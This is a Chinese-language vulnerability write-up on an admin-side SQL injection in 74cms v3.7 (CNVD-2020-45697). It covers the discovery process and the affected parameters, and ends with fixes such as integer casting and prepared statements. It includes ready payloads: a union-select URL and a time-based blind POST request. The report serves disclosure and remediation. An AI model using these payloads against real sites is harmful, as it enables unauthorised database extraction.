CNVD-2020-45697——74cms后台SQL注入漏洞
字数 935 2025-08-20 18:17:31

74cms后台SQL注入漏洞分析报告 (CNVD-2020-45697)

漏洞概述

74cms v3.7版本存在后台SQL注入漏洞,攻击者可在获取后台管理员权限后,通过构造特殊请求实现数据库信息泄露。该漏洞属于高危漏洞,影响系统数据安全。

漏洞发现过程

  1. 通过全局搜索select语句开始审计
  2. 发现{$参数}uid参数均无注入风险
  3. 审计到第67行SQL语句时发现可疑点

漏洞定位

第一个注入点

  • 文件路径:/admin/admin_category.php
  • 参数:id(通过GET方式传递)
  • 漏洞位置:act=edit_color操作
  • 漏洞类型:整数型SQL注入
  • 测试URL:http://[target]/74cms1/3.7/upload/admin/admin_category.php?act=edit_color&id=1
  • 利用POC:http://[target]/74cms1/3.7/upload/admin/admin_category.php?act=edit_color&id=-1 union select 1,version()

第二个注入点

  • 同一文件中的edit_color_save操作
  • 参数:id(通过POST方式传递)
  • 存在CSRF Token防护(hiddentoken参数)
  • 利用POC(需配合有效Token):
POST /74cms1/3.7/upload/admin/admin_category.php?act=edit_color_save HTTP/1.1
...
hiddentoken=bfe00749&val=%23bc123a&id=1+and+if(length(database())>5,sleep(10),1)&addsave=%B1%A3%B4%E6

第三个潜在点(已确认不可利用)

  • 方法:get_color_one()
  • 参数:$val(通过POST传递)
  • 防护措施:使用intval()强制转换为整数,无法注入字符串

漏洞利用限制

  1. 需要后台管理员权限
  2. 部分注入点需要有效CSRF Token
  3. 整数型注入限制了部分攻击方式

修复建议

  1. 对所有用户输入参数进行严格过滤
  2. 对整数型参数使用intval()等强制类型转换
  3. 完善CSRF防护机制
  4. 使用预编译语句替代直接SQL拼接

审计工具

推荐使用Seay源代码审计系统进行类似审计工作:

总结

该漏洞展示了后台系统同样可能存在安全风险,强调了纵深防御的重要性。即使需要管理员权限才能利用的漏洞,也应被及时修复,防止在权限提升后造成更大危害。

74cms后台SQL注入漏洞分析报告 (CNVD-2020-45697) 漏洞概述 74cms v3.7版本存在后台SQL注入漏洞,攻击者可在获取后台管理员权限后,通过构造特殊请求实现数据库信息泄露。该漏洞属于高危漏洞,影响系统数据安全。 漏洞发现过程 通过全局搜索 select 语句开始审计 发现 {$参数} 和 uid 参数均无注入风险 审计到第67行SQL语句时发现可疑点 漏洞定位 第一个注入点 文件路径: /admin/admin_category.php 参数: id (通过GET方式传递) 漏洞位置: act=edit_color 操作 漏洞类型:整数型SQL注入 测试URL: http://[target]/74cms1/3.7/upload/admin/admin_category.php?act=edit_color&id=1 利用POC: http://[target]/74cms1/3.7/upload/admin/admin_category.php?act=edit_color&id=-1 union select 1,version() 第二个注入点 同一文件中的 edit_color_save 操作 参数: id (通过POST方式传递) 存在CSRF Token防护(hiddentoken参数) 利用POC(需配合有效Token): 第三个潜在点(已确认不可利用) 方法: get_color_one() 参数: $val (通过POST传递) 防护措施:使用 intval() 强制转换为整数,无法注入字符串 漏洞利用限制 需要后台管理员权限 部分注入点需要有效CSRF Token 整数型注入限制了部分攻击方式 修复建议 对所有用户输入参数进行严格过滤 对整数型参数使用 intval() 等强制类型转换 完善CSRF防护机制 使用预编译语句替代直接SQL拼接 审计工具 推荐使用Seay源代码审计系统进行类似审计工作: 下载链接: 百度云盘 提取码:e37f 总结 该漏洞展示了后台系统同样可能存在安全风险,强调了纵深防御的重要性。即使需要管理员权限才能利用的漏洞,也应被及时修复,防止在权限提升后造成更大危害。